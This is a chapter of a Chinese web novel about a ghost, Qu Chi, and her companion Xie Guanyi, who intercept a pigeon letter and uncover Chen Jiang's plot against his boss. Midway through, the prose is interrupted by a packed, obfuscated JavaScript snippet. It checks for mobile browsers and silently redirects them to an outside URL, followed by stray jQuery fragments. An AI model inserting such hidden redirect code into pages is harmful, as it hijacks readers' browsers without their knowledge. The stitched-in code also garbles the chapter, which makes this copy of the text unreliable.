14. 三日之期已到

作品:《变成鬼魂,但依旧无敌

    一人一鬼心事重重地出了暗道,确定院里的确空无一人后,曲迟招手让谢观意出来,良久才叹道:“早知如此我一人进来便是了,白白让你陷入这样的危险。”


    谢观意不语,拍了拍雪白衣袖上沾染的灰尘,沉默半晌。


    他脸色依旧淡然,再开口时语气却有几分说不出的幽怨:“拖后腿是我不对,抱歉。”


    幽怨?


    见了鬼了。


    “我哪是这个意思,要不是你我肯定出不来,我是怕你有危险。”曲迟有些急切地解释。


    急切?她为什么要急切啊!


    见了鬼了。


    “真的?”谢观意看她。


    其实曲迟不是没见过帅哥,什么样的明星她没见过啊,那小老外浓眉大眼,眼睛五颜六色的,个子又高,身材又好,审美早被养刁了。


    但的确没见过谢观意这种类型的。


    长得好看,虽然总是一副事不关己的模样,但其实比谁都热心,有种莫名的安心感。


    好说话,还会示弱。


    曲迟点点头,下意识飘起来伸手摸向他的头,动作轻轻的,指尖触碰到他墨一般顺滑的长发后才反应过来,敛了神色,讪讪收回手,笑道:“真的。”


    像只小狗。


    谢观意神色一滞。


    “走吧走吧,去找崔蔷。”


    曲迟搓了搓手,马不停蹄地飘出院子。


    谢观意反应了一会儿才跟上去,他跟在曲迟身后,盯向她神色专注的侧脸,问道:“我还是觉得奇怪,陈江为何要与人同归于尽?”


    报复性人格?看他精神也不像正常的样子,做出些不寻常的举动也是正常的。


    不过,谢观意的怀疑并非无道理。


    他瞒着所有人谋划这件事到底是因为什么?


    购买炸药并不是多么容易的事,他还要应付上面的人,谨慎小心地瞒住所有人,让人们以为他只是一个想复活小外甥的失心疯。


    他从什么时候开始放弃的?或者说……


    曲迟忽然渗出一身冷汗。


    她生出一个有些疯狂的想法。


    想到这儿,她忙扯住谢观意的衣袖,问:“你觉得那封信会怎么送出去?”


    谢观意眯了眯眸:“交易那封?”


    “对。”


    “信鸽。”


    是了,信鸽的确是最稳妥的。


    因为陈江有让人留在村子里的理由,他不能让任何一个人出村。


    曲迟生出一阵不好的预感,她眯了眯眼睛:“我们可能出不去了。”


    “村外戒备森严,村子里反而空荡荡的,待在这儿才是最稳妥的。”


    谢观意不明白:“为何?陈江知道有人进来不会派人寻么?”


    曲迟忽然看着他笑了,笑得张扬:“所以我们现在要去确认一下。”


    “……怎么确认。”


    “跟我来。”


    曲迟摸出崔旬给的地形图,展开指了一处方位:“这是养禽物的地方,鸽子都在这儿,我们去这儿。”


    “你想拦一封信?”


    “没错。”


    为了确保信鸽把消息传到,一般会多传几封,少一只想必也不会引起注意。


    “我知道了。”谢观意垂眸看向地形图。


    ……


    曲迟蹲在地上看谢观意挽袖捡了个树杈,终于反应过来:“你要做弹弓?”


    “嗯。”谢观意微微低头扯下自己束发的深蓝色发带,长发瞬间像瀑布似的散在胸前,眉眼如画,神情淡然,像个不食人间烟火的仙官。


    曲迟很想收回之前的那句像小狗。


    这样的美人……


    “曲迟?”


    “啊。”曲迟反应过来。


    谢观意已经做好一个简易的弹弓,他捡起几个石子举着弹弓对准天空,闭上一只眼睛:“怎么?”


    “哦,”曲迟拍拍不存在的灰,淡然道,“没睡好,有点儿困了。”


    “嗯,可以帮我捋一下头发么,风吹着不舒服。”


    曲迟抬眼一看,目光定住。


    风虽然不大,但足以像个调皮的孩子那样给大人捣乱。


    墨一般的黑发垂在谢观意腰间,却总有几缕不听话的碎发被风哄着挡在他眼前,让他不得不微微眯着眼、皱起眉。


    不狼狈,还有几分……诱人。


    曲迟第一次知道自己是个色胚子。


    真是开了眼了。


    她清了清嗓子,飘起来,伸手捋着谢观意耳边的碎发,尽量让自己把注意力集中在弹弓身上。


    “能射准?”


    “试一试。”谢观意屏住呼吸。


    这片竹林是谢观意推测出来的信鸽必经路。


    竹叶被风吹得簌簌作响,谢观意微微启唇,轻轻道:“来了。”


    下一瞬,天空延展处飞出一只扑簌翅膀的飞鸽,竹林层层遮挡,谢观意握紧弹弓,射出一个石子。


    还未看清那石子飞出的轨迹,曲迟便听到鸽子痛苦的叫声,紧接着便是什么东西落地的声音。


    曲迟眼神一亮,松了手,飘过去,看着地上的鸽子,回头再看谢观意就多了几分敬意。


    可以啊,小瞧他了。


    打得还挺准。


    不知道枪法怎么样。这么想着,曲迟就有些手痒了,之前不抱着手枪睡不着,现在好了,连枪的面都见不着。


    谢观意慢慢走过来,边走边拆弹弓,终于拆出蓝色发带,利落地低头绑起头发。


    曲迟蹲下来想拿起那封信,手一伸,却扑了个空。


    她皱起眉:“不是能碰东西了么。”


    还能碰到谢观意了呢。


    谢观意弯腰捡起那只鸽子,拿出信,看了看鸽子的伤势,神色缓了缓:“还好。”


    他放了鸽子才慢慢展开信。


    “今日便是陈某所司最后一桩交易,幸不辱命,均已妥善完成。两日后,还请您务必移步山上相见,陈某在此静候大驾。”


    谢观意念完,眯了眯眸子:“陈江要请人来。”


    果然如此。


    这人肯定是陈江的老板,陈江想杀他。


    所以陈江不会抽出人手找他们。因为他要确保万无一失,他封锁整个村子是为了不让村子里的消息传出去引起怀疑。


    不让全全出去就是一个借口罢了。


    这陈江……果然心思缜密。


    之前曲迟还以为她是个头脑简单四肢发达的傻大个,还是小瞧他了。


    “接下来怎么办?”谢观意问。


    “狗咬狗我爱看,但有人是无辜的……”


    曲迟想了想,勾起一抹笑:“别忘了牧牧。”


    ……


    两日转瞬即逝。


    崔旬走到村口,面无表情地接受了盘问,到最后还是没忍住皱眉讥讽:“不是陈江让我来的么,我来了,崔蔷呢。”


    “废什么话,赶紧进去。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975091|161388||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    崔旬被推得有些踉跄,他多走了几步才稳住身子,气得差点跳起来。


    搞什么!还想不想招魂了!还不对他态度好点。


    刚过了村口便是陈江的小院。


    崔旬定定地看着装饰阴森的小院,饶是做了足够的心里准备还是不由得吓了一跳。


    天气已经足够晴朗,可这里却像抹了一层黑色滤镜似的,处处阴暗,透着森森寒气。


    崔旬下意识打了个寒颤,他小心翼翼地瞥向围着院子的栅栏,木制栅栏却闪烁着变成摆在一起深深扎根在土里的白骨。


    再眨了眨眼,又变成木头。


    他不敢相信地搓了搓眼,瞧见院里的那口井喷出鲜红的血水,像是真的井水一样源源不断地汩汩喷涌着,血红色刺得人眼睛生疼。


    再一眨眼,却又变成纯净透明的井水。


    这特么干哪儿来了?还是人间吗?


    还有院子中间摆着的是什么啊!一排排尸体?还是鬼啊!


    耳边飘过一阵阴风,崔旬吓得缩了缩脖子,急忙抬手捂住耳朵,道:“别别,饶过小弟!”


    曲迟笑了:“我以为你不怕鬼呢。”


    崔旬松了口气,拍了拍胸膛:“不是怕,是敬,越干我们这行的才越敬重鬼神呢。”


    说得好有道理。


    “还记得我说的话吗?”曲迟敛了敛神色。


    “当然,又不是傻子。”


    “演好戏才能活命,你可记住了。”曲迟又笑了笑,调戏般在他耳边吹了股气,便再也不吭声了。


    走了么?崔旬试探着微微直起身子。


    片刻后终于彻底松了口气。


    这女鬼倒真对劲儿。


    足够漂亮又足够危险。


    千万不能惹这样的人。


    崔旬这么想着,又看了看院子,终于下定再进一步的决心,只是还没迈出步子,肩膀又猛然被人拍了一下,他惊得跳起来,下意识回头一看,竟然是陈江。


    崔旬没忍住翻了个白眼。


    “崔小先生,好久不见啊。”陈江冷笑。


    其实也没很久,崔旬冷着一双眸子,盯住他:“放了我小妹,条件任你提。”


    “放?”陈江嗤笑出声,“今日若你让我外甥活过来,别说放了,再送你几个都行。”


    “若活不过来……”陈江神色可怖起来,凶狠道,“都得给他陪葬。”


    崔旬冷哼一声,这才注意到陈江身边的人。


    他眉头一蹙:“李仙师,你怎么在这?”


    李仙师尴尬一顿,摸了摸白胡子:“竟在此地碰到小崔先生,巧遇巧遇。”


    崔旬眼睛一眯终于反应过来,他扯出李仙师的领子:“我说呢,陈江怎么可能知道我在安乐坊的事儿!那谣言就是你传的吧!”


    陈江扯下他的胳膊:“对李仙师尊敬点。”


    李仙师在争执中后退几步,摇一把折扇快速扇风,又一摸胡子:“我不知道你在说什么。”


    陈江捏住崔旬的脸,用了十足的力气,崔旬痛得脸狰狞起来。


    “今日你干也得干,不干也得干,李仙师在此,你休想耍小聪明。”


    崔旬甚至觉得自己脸上的骨头都被捏碎了,他用了全部的力气去掰陈江的手,竟撼动不了丝毫。


    “阿舅,放过崔哥哥吧。”


    全全不知何时出现,他伸出白嫩的手抓住陈江腰间的腰带,微微仰着纯真的脸,看起来天真无害。